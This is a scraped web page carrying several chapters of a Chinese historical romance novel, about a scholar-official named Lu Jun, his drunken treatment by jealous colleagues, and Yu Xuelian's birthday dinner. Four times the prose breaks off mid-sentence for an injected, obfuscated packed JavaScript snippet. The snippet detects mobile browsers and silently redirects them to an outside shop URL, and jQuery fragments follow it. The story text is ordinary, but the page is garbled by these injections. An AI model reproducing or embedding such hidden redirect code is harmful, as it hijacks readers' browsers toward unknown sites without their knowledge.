金盏跟在后边，自然走到虞雪怜身旁站着，小声道：“娘子，时辰不早了。” “雨势小了吗？”虞雪怜也离开书案，看向房门，她道：“只觉得刚来府邸不久，这会儿天色都暗了下来。” 观言脸上挂着笑，他想张嘴说些什么，但及时收住了。主子没发话呢，他可不能多舌。 他好奇主子是留娘子在府邸用膳，还是不解风情地让娘子冒雨回去。 “观言。”陆隽侧首，或许是他穿了官袍的缘故，以至于观言一哆嗦，低头说道：“奴才在。” 陆隽不是年方十六的少年了，亦不是刚过弱冠，把野心欲望写在脸上的男子。他今年已二十有五，披这一身官袍，额发眉眼好似经过岁月打磨的利器，一点也不像是初入朝廷的人。 “去备马车。”陆隽说。 观言提袖道：“奴才这就去。” 彼时，郑管家带了三五个小厮回府。陆府仅两辆马车，是观言和郑管家一块儿去买的，礼部衙门离府邸不远，陆隽若不用点卯，便使不着马车。 观言一手拿伞，一手抓住缰绳驾马车。 他不认得镇国将军府的路，金盏掀起车帘，给观言指点方向。 虞雪怜没想到陆隽要亲自送她回去，几日光景，陆隽已不是从前那般，可若说他不顾规矩，却也不是。 概因他从前很少主动。明明生了一副好皮相，但性子仿佛是顽固古板的长辈，在人面前念叨男女之别，出门在外不得轻信他人，勿要做逾越之事的长辈。 虞雪怜坐在陆隽对面的座上，一双眼直视着他。 马车颠得厉害。观言很小心翼翼地驾着马车，他怕主子和娘子坐不安稳，影响交谈。 然偏不如观言所愿，越是怕什么，越是来什么。雨天出行的马车要比平常多，碰着脾气暴躁的马夫还要给他让路，稍不留神，马蹄就踢到街上的石头，弄得车内颠颠颤颤。 虞雪怜哪里坐过这么晃的马车，她身子贴着挡板处，连扶着的东西都没有。 陆隽靠在车窗，他侧身看了一眼窗外——接着拐一条街巷便是镇国将军府了。 他唤观言把马车停在路边。 车内转而平稳，陆隽道：“陆某先送虞姑娘到此处。” 虞雪怜点头，她当然明白陆隽的用意。方才随他的目光看窗外，这会儿到了高淳老街，等下了马车，只需走几十余步就到府邸了。 “下次陆大人休沐，我再去府上拜访。” …… 路上的雨水溅脏了虞雪怜的裙摆。她和金盏回了府，来不及沐浴换衣，丁管家叫她直接去正厅，说是老爷和老太太有事跟她商量。 虞雪怜以为，爹爹应不会有大事用得着找她商量。又有祖母这座大山矗着，八成是和她的婚事有关。 老太太近日精神气不好，坐在交椅上昏昏欲睡。听见丫鬟们的动静，阖着的眼睁开一条缝。 是她孙女回来了。 “去哪儿玩了？”虞鸿不悦地站在虞雪怜身前，训道：“过几天便是你十八岁生辰，这玩性该收一收了。” 虞雪怜轻声说：“女儿去街上闲逛而已。” 虞鸿原不着急闺女的婚事。今日母亲说穗穗快要十八岁了，他才恍恍惚惚地反应过来，穗穗的年纪是不小了。 “闲逛？”虞鸿问道，“女先生给你布置的课业写了吗？” “爹爹要抽查吗？女先生当天布置的课业，女儿当天写完的。”虞雪怜说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027811|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞鸿闻言拂袖，欲言又止。 他昨日下朝回府，恰好女先生从鹿鸣斋出来。他问起几个孩子的课业，女先生说，浅浅在课上乖巧不少，嘉卉和穗穗今年也有长进，尤其是穗穗，课下用了功夫读书。过了这个月，就没什么要教给她们的了。 这番话最让虞鸿头疼，他固然高兴女儿的课业学的不错，但心里不上不下，穗穗的夫君远没有着落，让她久居闺阁终究不是个好事。 穗穗不出嫁，那嘉卉的婚事也要往后推。 柳姨娘隔三岔五吹枕边风，埋怨虞鸿耽误了嘉卉择良婿，要他赶紧让虞雪怜出阁嫁人。 虞鸿的舌头因这事上火起泡，说话发疼：“昨天我问过女先生了，不光要写课业，刺绣女红也不能落下。” 虞雪怜看着坐在椅上的老太太，笑问：“丁管家说，爹爹和祖母有事要找我商量，不知何事？” 老太太打了个呵欠，让丫鬟送来一盏茶，醒神过后，道：“祖母不给你卖关子，这件事祖母说了不止一次。” 她哪有半分要跟虞雪怜商量的意思，“待你过了十八岁的生辰，由我和你母亲做东，请尚书夫人跟高公子来府邸用膳。” 虞雪怜问：“祖母说得是哪位高公子？” 老太太笑道：“是高乘远。”提到高乘远，她一脸满意地说，“你见过他人，论家世，咱们与他当户对。论样貌，他和你日后的孩子必不会长得差。再者，那尚书夫人对你印象极好，若不是听南川的母亲说，你在马场救了高乘远。祖母倒不相信，你跟高乘远这孩子如此有缘分。” 虞鸿插不上一句话。老太太把该说的，不该说的，一口气道完了。 虞雪怜问：“祖母可是跟尚书夫人约好了？” 老太太也考虑过虞雪怜对这件事有抵触，她语调放低，说：“你母亲给尚书夫人递了帖，约好了日子。” “祖母并非要一锤定音。你们两个见一见，我们长辈的陪着用膳，至于成不成，那是后话了。” 虞雪怜沉默片刻，说：“孙女依祖母的。” 若老太太说得是旁人，虞雪怜肯定要忐忑不安。 但这男子是高乘远，她很明确，高乘远和她不会有男女之间的牵扯。 何况帖子递出去了，怎么推辞掉？既是这样，见一面无妨，也好暂时稳住祖母。 66. 灌醉 陆隽在礼部任职，日日是早到晚退。 他与那些进士的官位还不足以去皇城上早朝，是以户部尚书江丰茂每天下了早朝，给他们各自交代事情做。 对于江丰茂来说，这几个初入官场的年轻人，没有一年半载，处理不了南郢紧要的公文和接待外来使者。 礼部一向在圣上那儿有底气，是六部当中最能挺直腰板的。圣上把状元郎分给礼部了，江丰茂为此琢磨了许久，圣上虽明面并不刻意要他提拔陆隽，毕竟文武百官都看着听着。 陆隽来礼部，已有人说圣上偏袒礼部。若要提拔陆隽，要用什么法子去提拔？今年到礼部的翟佑，又是他老友的儿子。 想提拔一个就需得费力费心。不能埋没了状元郎的才华，也不能忽视翟佑，一切要恰到好处。 江丰茂不曾想这把年纪，还得转脑筋琢磨。 碧空如洗，翠鸟在枝头啾啾地叫。礼部衙门的小厨房做好了午膳茶食，三三两两的官员前去膳馆用饭。 “翟兄，尚书大人昨日叫你去他书房，今日叫陆隽去，是特意给你们俩开小灶呢？”男子身材肥硕，把官袍撑得变形，他走路两只手晃来晃去，“陆隽当了状元郎也不怎么样啊，尚书大人先叫的你，后叫的他。谁在尚书大人心里重要，一目了然。” 翟佑嫌弃地跟男子隔了一尺的距离，说：“庞五，你别胡言乱语。开小灶？尚书大人是例行问话，咱们刚来礼部，都要去一趟的，过几日就轮到你。” 庞安志在家排行第五，熟人便叫他庞五。 “真的？”庞安志咽了咽口水，龇牙咧嘴地笑道，“那你先给我透透风，尚书大人要问什么？” 翟佑瞧不起庞安志这一脸烂泥扶不上墙的表情，同样有个在朝廷为官的老爹，庞安志怎么就长得讨人厌烦，胸无点墨。 “用你的脑子想一想，尚书大人要问什么。”翟佑不屑地说。 他嗓子哑了，说话引人注目，在礼部的官员很是重视衙门的规矩，到了膳馆，更不得高声言语。 翟佑以咳嗽掩饰，咬牙切齿地压低嗓音，道：“行了，少问几句，注意点言行举止。别让人家误会你是被硬塞进礼部的，丢脸。” 庞安志挠挠头，问：“我哪丢脸了？” 翟佑翻了个白眼，暗骂庞安志是蠢驴，道：“你不饿吗？走，今日午膳有荤菜，我的那份儿也给你吃。” “翟兄，还是你够义气。”庞安志一阵憨笑，压根看不到翟佑脸上的厌恶之色。 …… 礼部供官员用的书房有四个，江丰茂的书房挨着花厅，若没有他的指令，不会有人从这儿过路。 陆隽整理完景元三年的礼部公文，礼部员外郎就来喊他，说尚书大人有指令，让他去趟书房。 书房外便是一院子的花卉，房内点着驱蚊的艾草，闻着略有刺鼻的气味。 “莫要拘束，坐罢。”江丰茂让陆隽坐在他书案前的官帽椅，说道，“你来礼部有小半个月了，跟同僚们相处的怎样？” 江丰茂看了陆隽的户帖，陆隽的村庄有些不讲道理的刁民，即便在陆隽中了解元后，也敢公然扎堆在村里挑衅欺负他。 而陆隽能够在这十年间忍气吞声，对刁民不予理会，已超出常人的耐力。 江丰茂认为，能忍到这种地步的，若是彻底惹怒他，大抵不会是省油的灯。 “回尚书大人，陆某与同僚们相处的还好。”陆隽颔首道。 陆隽入了书房，并不胆怯。江丰茂问他什么，他回答的皆是中规中矩。 江丰茂问不出想听的话，双手相握，笑道：“本官读了你撰修的那两篇公文，确有状元之姿。按礼部往年的惯例，新官上任，一般要由侍郎大人和主事大人带你们熟悉熟悉衙门。不过今年礼部要比往年忙碌，侍郎大人要准备接待西域使者，主事大人要筹备五月底的祭祀。” 陆隽只点头，不接话。 “全是不能腾空的重事，本官便没按往年的办。侍郎大人今日点卯，来我书房吃了早茶，他道今年来礼部的年轻人踏实，也叫他省心。”江丰茂的语气不算严肃。 陆隽寡言少语，且做事细致。 但凡在朝廷的老官，眼光不差的，都赏识陆隽。江丰茂看过陆隽写的公文，再见他为人和传言果真一致，喜怒不形于色，不主动跟人靠拢，可若说他完美无瑕，倒是不对了。 像陆隽如此闷头做事的人，是最不懂人情世故的。若想在官场迈大步，几乎不可能。 陆隽说：“有侍郎大人指教陆某和同僚撰修公文，否则陆某也不知晓要从何做起。” 江丰茂道：“圣上给了你司务一职，我本觉得不妥。如今看来，不论圣上让你担任哪个职位，不说做得样样出色，至少出不了岔子。”他向陆隽讲起笑话，“本官在书院苦读十几年考到金陵来的，那时先帝在世，当初我去的是户部，别的官员忙得焦头烂额，本官却似是傻瓜在那儿坐着拨算盘珠。” 说到此处，江丰茂眼角的皱纹深的像条鱼尾巴，他问：“后来户部有一笔天大的篓子，你猜是谁顶的锅？” 陆隽垂眸思忖，答道：“是尚书大人。” “你倒是直言不讳，不给本官拐一点弯子。”江丰茂相握的手松了，他往后一靠，官帽椅发出微弱地响声。 江丰茂坐上户部尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049289|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书的位置，这条路走得艰辛。平心而论，赏识陆隽是真，不喜陆隽的性子也是真。他为官半生，不是没见过如陆隽这样清高的年轻人，嘴里吐不出一句阿谀奉承的话。 陆隽不为所动地问：“陆某答对了吗？” 江丰茂笑道：“不错。那次本官替户部侍郎顶锅，险些葬送仕途。这件事礼部知道的人不多，我既说给你听，便是认可你，今后若在礼部遇着棘手的，本官会帮你一二。”他点出翟佑的名字，道，“本官明日调翟佑去铸印局，你尽量避着此人。” 陆隽垂着的眼眸微仰，江丰茂年老的面容浮着狡猾地笑。 江丰茂的一席话，明显知道翟佑为难他的事。或是江丰茂安插的眼线告知，或是翟佑昨日跟江丰茂提及了他—— 这便是尚书大人要掌握的手段么？ 陆隽做不出感恩戴德地神情，轻笑道：“多谢尚书大人照拂陆某。” 江丰茂笑声渐止，和善地问：“陆隽，我瞧了你的户帖，本官的儿子小你两岁。你娶妻生子了吗？” “陆某未娶妻。” “你这年纪还未娶妻，好也不好。你是南郢的状元郎，若有娶妻的想法，成亲不是难事。但圣上素来要给状元郎赐婚，那么你的婚事便不能由着自己的心意了。”江丰茂言尽于此，说，“到时辰了，你去用膳罢。” 因陆隽未娶妻，不仅礼部的官员私下谈论，其他的衙门也在寻思着，圣上会不会把淳安公主许配给状元郎。 若不会，状元郎可是香饽饽。有待字闺中的小娘子，趁着圣上旨意摇摆不定，争着要抓住机会嫁给陆隽。 翟佑被调去铸印局，次日休沐，他强拽着陆隽去丰乐楼吃酒。 “陆隽，陆大人。这杯酒咱们两个碰一碰。”翟佑蓄意要借这场酒席灌醉陆隽，他拿了块蜜饯吃下，笑说道，“今日我把德海兄请来了，可惜他不跟咱们一起在礼部，想见面都得等到休沐了才行。” “陆大人，陆大人，我敬你。”庞安志喝得直打酒嗝，笑嘻嘻地把手搭在陆隽肩上敲了两下，“你那字是怎么写出来的？唉，侍郎大人昨儿骂我的字像狗爬，为何你写的跟字帖似的，你是不是没事闲得慌，就去练字了？” 案边的空酒坛一巴掌也数不清了。陆隽能躲则躲，但仍抵不住翟佑和庞安志左右夹击。 翟佑给陆隽的酒盏添满，说：“陆大人以前在村镇辛苦摆摊卖字帖，那字帖是他亲手写的，你能比得上吗？” 庞安志半信半疑地问：“陆大人摆摊？翟兄，你听哪厮说的？” “燕王世子啊。”翟佑讥讽地笑，他看着陆隽，问，“燕王世子的话，不能有假吧？” 67. 有愧 人有七情六欲，翟佑不相信这世上存在着白玉无瑕的人。 那日在琼林宴上，陆隽一言一行备受人瞩目。然他回应地敷衍，旁人夸他文采，他只垂首道谢。问他写策论有何技巧，也是简短的一句话了事。 翟佑看陆隽处处不顺眼。都是读书人，陆隽生在穷山恶水，到了这皇城，傲气得像是忘了自个儿的身世，不知姓甚名谁了。 他们主动与陆隽交好，对陆隽是莫大的抬举，可陆隽却拒人千里之外。 翟佑想到这儿，真想当着陆隽的面，敞亮地呸一声，撕开这厮的假面皮，叫他别装清高了。 庞安志憨厚地笑道：“陆状元，你还见过燕王世子呢？了不得。” 陆隽淡然把酒杯放到食案，提筷夹了一块藕片，慢条斯理地咀嚼。他没理由句句要答两个酒疯子，翟佑的揶揄和羞辱，他听得明白。 他顺从喝下翟佑递来的酒，已是在清醒地做着蠢事。 现在的局势，只适合做蠢事，下蠢棋。 在一边默然不语的梁德海终于忍不住，甩了筷子，道：“闹够了吗？你们还当是在国子监，随意欺凌后生？若让尚书大人，让圣上瞧了，定要撤了你们的官职。” 翟佑摇头笑道：“德海兄，你此言差矣，怎么能把欺凌后生这样大的帽子戴我头上？陆大人长我几岁，算不得是后生啊。” “你——”梁德海把话硬憋了回去，他十分后悔答应翟佑过来用膳。 梁德海念着昔日同窗共读的情分，所以没推辞。 翟佑在国子监便私下欺辱后生，挑软柿子捏。梁德海起初有所阻拦，但翟佑不愿听，他能有什么办法？索性不管了，一心读圣贤书。只是他料不到翟佑会嫌恶陆隽，拿人家的身世当笑话讲。 陆隽既然沉得住气，他何必白费口舌去给陆隽出头。 梁德海拾起筷子，看见陆隽的脸色染上一层虚白。 那案边的空坛子有一半是翟佑灌给陆隽喝的。梁德海心里冷笑一声，让翟佑挫挫陆隽的锐气也好，死要面子活受罪的人，自找苦吃。 陆隽察觉到梁德海的目光，遂回看他一眼。 “梁大人方才要说什么？”陆隽问。 “哦，没什么。”梁德海颇是意外，其实陆隽若放下清高的架子，随和的跟翟佑相处，翟佑不至于针对他。 “我听闻陆大人在礼部勤勤恳恳，半个月就把一个月的事做完了，其中不出一丝疏漏。”梁德海笑道，“在下以为，在朝廷做官，若一人把事情全揽尽了，让其他同僚如何自处呢？” 言毕，梁德海斟了一盏酒，朝陆隽坐的位置示意敬他。 梁德海本可以不说这番话。诚然，陆隽是聪明人，缺憾的便是不通人情世故，纵使读再多的书，身上改不掉小门小户的狭隘，固执己见。 做官跟干活是两码事，梁德海暗忖，陆隽觉得做事越多，这官路就走得舒坦了吗？ 陆隽淡然抬眼，看向翟佑，说：“翟大人让陆某替他撰修了公文，不知是自己把事情全揽尽了。梁大人所言，陆某日后会仔细斟酌。” 翟佑的脸皮绿的像刚熟的芭蕉，又惊又恼，他故作糊涂地说：“陆大人，你这是何意？” 梁德海不知晓翟佑背地做了这等事，陆隽这么一问，语气稍弱：“在下指的是陆公子不用过于勤勉，应当注意着身子。” “勤能补拙。”陆隽眼神灼灼，随即盯着翟佑，“翟大人，陆某说的可有错？” 翟佑咬牙切齿道：“是，多亏了陆大人的照顾，不然我那公文写不出来。” 梁德海无言吐了一口长气，他方才还想指点陆隽不要逞威风，要顾着同僚的颜面。结果陆隽轻描淡写的，打了他的脸。 怪只怪翟佑不争气，公文都懒得写。 庞安志早忘了翟佑交代的东西，醉得思绪飘到九霄云外，“翟兄！你要的小娘子怎么不上来伺候？” 梁德海神色难堪，问：“什么小娘子？” 翟佑含糊其辞：“庞五说醉话呢。”他伸腿就给庞安志一脚，“陆大人喝得比你多，也没听人家要小娘子。大白天的，你在这儿做白日梦，丢人现眼。” 末了，陆隽以身体不适为由，要回府歇息。他不给翟佑说话的机会，起身便离席走了。 厢房门关上，梁德海到了这会儿，也明白今日翟佑闹得是哪一出了。 “翟佑，事情要么不做，要么做得出色。”梁德海没有回座，他站在门后，负手说道，“你想把陆隽的脸面揉碎踩在地下，这我管不着，更不想管。我顾及同窗之情，来赴你的约，庞五说的娘子，适才若是出现在这厢房，你陷我于何地？” 翟佑被说得脸上无光，烦躁的揉搓着头发，道：“梁兄，我就是逗陆隽玩。” “玩？”梁德海笑道：“你玩得过他吗？归根结底，你和陆隽同在礼部共事，你若拿不到他把柄，便收敛些。单凭你嘲讽他的身世，你注定玩不过他。” 翟佑似懂非懂，然后顿悟道：“谨听梁兄教诲。” * 陆隽从丰乐楼出来，观言顶着一头热汗迎上。 暑气在五月已经冒了尖，城中的百姓说今年的庄稼地又要大旱。 观言手持一把青竹折扇，给陆隽扇风，奈何他个子不如陆隽高，只好踮着脚。 他吸了吸鼻子，嗅到浓郁的酒味。 “主子，您……您是不是被那两个官老爷灌酒了？”观言悄声问，“奴才去给您买醒酒药吧，哪怕是酒量如海的人，也遭不住这罪呀。” 陆隽走路平缓，呼吸却是紊乱的。好在他往日饮过酒，得以今天不在丰乐楼倒下。 “府邸备的有醒酒药吗？”陆隽说不清此刻的不适，他肩上沉甸甸的，好似压了两块硬石。 观言收了扇子，把它别在腰带上，手搀着陆隽的胳膊，说：“郑管家跟奴才说，主子若要跟那些老爷们用膳，府里一定要备醒酒药。奴才前几日忙着主子给我的明细购置物件，一时疏忽，不记得郑管家有没有买醒酒药。” “主子，咱们先走慢点。我爹生前酗酒，大夫说喝醉了最不能着急动火，容易伤着身子。”观言顿了顿，他怕主子误会这句话，道，“主子辛苦，要应付酒局宴席，奴才送您回去，再去药铺买醒酒的。” 陆隽意识逐渐模糊，但观言的话他听进去了。医书记载着醉酒之人的症状，有言语混乱者，打架惹事；有昏睡者；亦有因此丧命者。 他爹娘在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068175|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世若生疾发病，舍不得问大夫买药诊治，就拿着民间的偏方去山里挖草药。陆隽入了学堂读书，学着去看医书，看人体的穴位。 陆隽虽不明他醉酒的程度，但只要没有频死的感觉，喝了醒酒药歇一夜便好。 街市人潮涌动，正是热闹。陆隽停下脚步，他有些站不稳了。 “让一让！让一让！”两个身着军装的青年男子骑骏马穿过，很是威风。 百姓见了倒不稀奇，天子脚下，自然是有厉害的人马。譬如在宫里的九千岁冯璞玉，飞檐走壁的锦衣卫，见得多了也就习惯了。 观言扶住陆隽的手，说：“主子，奴才带您直接去找大夫。” “吁——”一道中年男人的声音在观言头顶响起，“你是哪家的奴才？” 观言吓了一跳，差点没蹦起来。他挺着脖子，壮胆望坐在马上的男人，竟是个身穿墨色衣袍的老爷，嘴角两侧有一缕胡茬。 “我……我是陆府的奴才。” “你主子怎么了？”那老爷纵身下马，手牵缰绳，致使骏马不胡乱扬蹄。 陆隽少有的失措，他低眸说道：“陆某见过虞将军。” 虞鸿皱了皱鼻子，问：“第一天休沐，就开始吃酒了？” 今日天气闷，虞鸿去了城外打猎，行军的兵将眼力好使。加之陆隽曾和进士们在大殿拜了圣上，状元郎的样貌，虞鸿有几分印象。 且这家奴从远处看着不对劲，他便策马过来问这家奴的府邸。 陆隽回道：“陆某无奈赴宴，被灌了酒。” “我瞧你腿都软了？”虞鸿打量着陆隽，若不及时让这状元郎醒酒，圣上怕是要损失一个人才，他道：“你府邸在何处，我送你一程。” 虞鸿身为武将，他与朝廷的文臣总是说不了两句便要争论。文臣有一肚子的墨水，想要跟他辩论，如碾死蚂蚁一样简单。他不计较得失，不怕麻烦，若在路上撞着不平之事，他不可能视若无睹。 由观言引路，虞鸿让陆隽坐在马背上，送他回了陆府。 怎料陆隽刚到府邸，却吐出腹中未消解的酒水，弄脏了虞鸿的鞋履。 郑管家慌忙叫小厮把陆隽扶进厢房。 陆隽在厢房换了衣物，喝下醒酒药，沉沉地睡着了。 “将军，我家主子要奴才传话。他说今天有愧虞将军，改日一定去府上向将军道谢。”观言从库房拿出一双新鞋履，躬身呈给虞鸿，“奴才看了虞将军的鞋履，去库房翻找了一番。” 观言这方知晓虞鸿是镇国大将军，虞娘子的父亲，主子未来的岳丈…… 思及此，观言闭紧了眼睛，他替主子惋惜，初次见岳丈，醉酒不说，还吐脏了岳丈的鞋履。 虞鸿接了鞋履，笑道：“甚么有愧无愧的，顺手的事。鞋脏了有何大惊小怪？让你主子别放心上。” 观言恭敬地说：“大夫说主子饮酒过量，幸好及时诊治。将军是主子的救命恩人，您把主子送回来了，这份恩情，主子肯定要还的。” 虞鸿沉吟道：“既如此，等他身子恢复再来镇国将军府罢。”他知道文人讲究知恩图报，举手之劳也要惦记着。 “是。”观言应道：“奴才会告诉主子的。” 68. 生辰 彼时，虞雪怜在兰园用了午膳，她带着金盏去了拢翠阁。 拢翠阁朝西。到了这个时辰，太阳正照着虞嘉卉的厢房，房内的一桌一椅，瞧着都成了金色。 虞雪怜不是空手来的，她让拢翠阁的丫鬟跟着金盏去端了两碟冰葡萄。平常在冰鉴里边存放，就等热了拿出来吃。 “嫡姐今日来我这儿，只是请我吃葡萄么？”虞嘉卉轻摇仕女扇，说道：“祖母很看好高公子做镇国将军府的女婿呢。” “只是请你吃葡萄。”虞雪怜笑道，“祖母爱乱点鸳鸯谱，你和表兄的事，不也是如此。” 她虽听从祖母的话，和高乘远在府邸见了一面。但说来是母亲跟尚书夫人要看两人合不合心意，她与高乘远的处境似乎相同，硬着头皮坐在席上，尴尬一笑。 在祖母的眼中，却是她娇羞，高乘远含蓄，他们两人很是相配。 她已向母亲明确地说，高乘远不是她心仪的郎君。 虞嘉卉嫌太阳晃眼，靠着软枕，手里的仕女扇给了身边的小丫鬟。 “嫡姐不觉得祖母越发糊涂了吗？”虞嘉卉脸庞有几分忧虑，“祖母院里的嬷嬷说，今年祖母嗜睡，记性也不好了，怪丫鬟们照顾的不得当，可是祖母夜里不睡，一会儿要让小丫鬟拿夜壶给她，一会儿说被褥潮湿，身上黏。到白天要用膳了，怎么也唤不醒祖母。” 虞嘉卉指了指荷叶盘盛的葡萄，道：“嫡姐，因这葡萄，我母亲差点跟祖母吵起来。” 府邸的瓜果是由粗使婆子去买的，葡萄是稀罕物，均分给各个院里，陈瑾体寒，也不喜欢吃瓜果。便让嬷嬷多给老太太的院子分。 为这事，柳姨娘还闹了脾气，说老太太年纪大了，瓜果偶尔吃一些就行了。她的话传到老太太那里去，老太太又不高兴，他们镇国将军府，什么时候斤斤计较的，连个瓜果都吃不起了？说出去要让人耻笑。 虞雪怜抿了一口凉茶，说道：“若是紧要的事，祖母倒不会管，府邸这些吃食，做衣裳的布料，她最是在意。姨娘是怕祖母吃甜的伤着脾胃，祖母却误以为姨娘不想让她吃。” “祖母今年再过生辰，便是八十岁的大寿了。祖母要管婚事，要为难人，你我也不能去冒犯她。” 虞嘉卉何尝不明白这个道理，老太太是长辈，纵有千般不对，她们只得顺着老太太的意思。 “嫡姐的生辰，要去丰乐楼过吗？”虞嘉卉低眉问。 后天便是虞雪怜的生辰。她往年都和关系要好的娘子去丰乐楼。 概因是过了那个年纪，虞雪怜不是很期待过生辰。 虞雪怜笑道：“我和母亲说，一切从简，让小厨房做两道我喜欢的膳食就好。” 虞嘉卉起身，见虞雪怜的脸上没抹胭脂，像是素淡的白玉兰。 以前的嫡姐，说是妖艳也不为过。 这一年间，嫡姐仿佛脱胎换骨——人规矩了，想得也周到了。 虞嘉卉突然想起，去年嫡姐所说的，那个家境贫寒的情郎书生。 碍于丫鬟在身边，她暂时不能问。 …… 孟夏五月，枝头的知了甚是聒噪。 依着虞雪怜的意愿，陈瑾一切从简。但自家女儿的生辰，该办的，要办的，可不能省着来。 老太太说自个儿身子疲乏，打发婆子到兰园给虞雪怜送了生辰礼，是一对墨绿和田玉手镯。 陈瑾有些不满，但赏了婆子两吊钱，让丫鬟拿了一盒人参，让婆子带回老太太的房里。 小厨房做了十二道膳食，虞雪怜请了温昭姊妹来府邸用膳。偏巧这两天虞绍来金陵办差，就在府邸西院的客房住下，是以席上没旁的外人。 老太太不在，虞鸿和陈瑾反倒轻松，笑着让温昭姊妹别客气。 陈瑾说：“温嫱姑娘，穗穗说你不喜吃肥肉，我便吩咐厨娘挑瘦肉做了一道红烧酥肉。你尝尝，合不合口味？” 温嫱天不怕地不怕，今日却担忧自己的嗓音不够温柔，怕她的语气凶，怕夫人误会。 她捏着嗓子，点头道：“让夫人费心了。” 温昭忍俊不禁，姐姐在府里张扬跋扈，何时掐过嗓子说话。 温嫱听见妹妹的笑声，羞涩咬唇，妹妹是在笑话她！ 陈瑾分不清谁是姐姐，谁是妹妹。但看着姊妹俩的表情，只觉有趣。 “不过是一句话的事，两位姑娘是穗穗的好友，今日来府上陪穗穗过生辰，可要尽兴而归。”陈瑾弯眉笑道，“等会儿用完膳，让穗穗带你们去后花园乘凉。今年池塘种了荷花，荷叶已经开了，花还要一阵子才能盛开。” 长辈喜欢小辈们共聚一堂，吃吃笑笑。 虞雪怜今日略施粉黛，她很珍惜复生后的每一天，母亲没有咳疾，爹爹没有遭人陷害，镇国将军府平安无事。 她甚至有点松懈。上辈子陷害镇国将军府的人，在这辈子会不会不出现了？ 查了将近一年，从浮白进了兵部，若有蛛丝马迹，她尚能顺藤摸瓜，几个亲王、官居一品的大臣、和爹爹曾发生口角的朝臣，竟是没有一个可疑的。虞雪怜想，也许是时机未到。 虞浅浅嬉皮笑脸地说：“表姐，今日你过生辰，怎么静悄悄的，不说几句话吗？” 虞雪怜回神看向虞浅浅，笑道：“近来读书少了，一时之间言语贫瘠。”她继而站起来，提起杯盏，说，“把话寄在这青梅酒吧。” 虞浅浅撇撇嘴，说：“表姐哪里读书少了？你那厢房的书放得乱七八糟，姑父的兵书，姑母的《女范捷录》，看得我头都晕了。” 虞雪怜打趣道：“谁让你看了？” “我，我随便看一眼。”虞浅浅说，“谁让卉姐姐跟我说，没事要多读书，脑袋会变聪明的。要命的是，我读不懂，怎么变聪明？” 虞嘉卉接话道：“说来说去，这是在怪我呢。” 说笑间，丁管家进来向虞鸿禀报：“老爷，陆状元过来拜访，他说想当面谢您的恩情。” 丁管家的眉毛随着笑意在翘，他道：“陆状元的小厮抱着一大盒厚礼，不知老爷要不要见陆状元？” 陆隽的名字在金陵已然是家喻户晓，方才是观言敲的府门，丁管家开门见府外站的是一主一仆，就问了陆隽有何事。 丁管家听了陆隽的话，便匆匆跑到正厅。 “陆状元？”虞鸿犹豫地说，“请他进府罢。” 虞鸿思索着，陆隽怎的选这个时辰过来道谢？但转念一想，陆隽也不知晓今日是他女儿过生辰。 陆隽登门拜访，他若不见，陆隽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098250|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要怎么想？文人墨客，内心脆弱，干脆请陆隽一起用膳算了。 丁管家去请陆隽的工夫，陈瑾疑惑地问：“老爷对陆状元有恩情？” 虞鸿说道：“忘了和夫人说，上次我去城外打猎，回来在街上碰见陆状元醉酒，走不动路了。我顺手送了送他。” 陈瑾睨眼看他，说：“难怪你忘了说，我揪你耳朵多少次，不准你去城外打猎。嘴上应得快，还不是偷偷去了？” “夫人，”虞鸿赔笑道：“说是打猎，我就骑马去城外溜了一圈。” 虞雪怜仔细听着，眼睛又一直往厅外看——这是陆隽第一次以他的名义来镇国将军府。 爹爹恐怕根本不知道陆隽来过镇国将军府。 “表姐，姑父说的，是南郢的状元郎吗？”虞浅浅兴奋地说，“上回状元郎游街，我没瞧见，现在能认真地看一看了。” 虞嘉卉的目光也落在厅外，状元郎的确罕见，才华横溢，前途无量。单是这个名号，足矣勾起人的好奇。 忽然，虞嘉卉的脖颈似是有冷风吹过，她用手摸了摸，视线偏向虞绍，和他的眼神顿时撞上。 